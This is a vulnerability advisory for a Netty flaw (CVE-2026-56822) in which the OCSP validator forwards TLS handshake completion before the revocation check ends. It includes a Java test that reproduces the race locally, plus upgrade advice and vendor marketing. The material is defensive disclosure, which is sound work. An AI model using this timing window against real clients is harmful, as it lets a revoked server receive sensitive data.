Summary
Netty: TOCTOU in OcspServerCertificateValidator
Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.
Details
In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.
Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.
PoC
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
OCSPRespBuilder respBuilder = new OCSPRespBuilder();
OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
byte[] responseEncoded = response.getEncoded();
IoTransport mockTransport = IoTransport.create(group.next(), () -> {
NioSocketChannel channel = new NioSocketChannel();
channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
@Override
public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
promise.setSuccess();
ctx.executor().schedule(() -> {
ctx.pipeline().fireChannelActive();
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));
httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());
ctx.pipeline().fireChannelRead(httpResponse);
}, 500, TimeUnit.MILLISECONDS);
}
});
return channel;
}, NioDatagramChannel::new);
X509Bundle caRoot = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TrustedRootCA")
.setIsCertificateAuthority(true)
.buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
X509Bundle targetCert = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TargetServer")
.addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
.buildIssuedBy(caRoot);
SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();
CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();
CountDownLatch dataReceivedLatch = new CountDownLatch(1);
new ServerBootstrap()
.group(group)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));
ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {
@Override
protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {
receivedData.add(msg.toString(CharsetUtil.UTF_8));
dataReceivedLatch.countDown();
}
});
}
})
.bind(8080)
.sync()
.channel();
SslContext clientSslCtx = SslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.build();
DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);
Channel clientChannel = new Bootstrap()
.group(group)
.channel(NioSocketChannel.class)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080));
ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));
ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
if (evt instanceof SslHandshakeCompletionEvent) {
SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;
if (sslEvent.isSuccess()) {
ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));
}
}
ctx.fireUserEventTriggered(evt);
}
});
}
})
.connect("127.0.0.1", 8080)
.sync()
.channel();
assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));
Thread.sleep(200);
assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data.");
} finally {
group.shutdownGracefully();
}
}
Impact
TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.
CVE-2026-56822 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.2.16.Final, 4.1.136.Final); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
io.netty:netty-handler-ssl-ocsp to 4.2.16.Final or later; io.netty:netty-handler-ssl-ocsp to 4.1.136.Final or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-56822? CVE-2026-56822 is a high-severity security vulnerability in io.netty:netty-handler-ssl-ocsp (maven), affecting versions >= 4.2.0.Final, < 4.2.16.Final. It is fixed in 4.2.16.Final, 4.1.136.Final.
- How severe is CVE-2026-56822? CVE-2026-56822 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of io.netty:netty-handler-ssl-ocsp are affected by CVE-2026-56822? io.netty:netty-handler-ssl-ocsp (maven) versions >= 4.2.0.Final, < 4.2.16.Final is affected.
- Is there a fix for CVE-2026-56822? Yes. CVE-2026-56822 is fixed in 4.2.16.Final, 4.1.136.Final. Upgrade to this version or later.
- Is CVE-2026-56822 exploitable, and should I be worried? Whether CVE-2026-56822 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-56822 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-56822?
- Upgrade
io.netty:netty-handler-ssl-ocspto 4.2.16.Final or later - Upgrade
io.netty:netty-handler-ssl-ocspto 4.1.136.Final or later
- Upgrade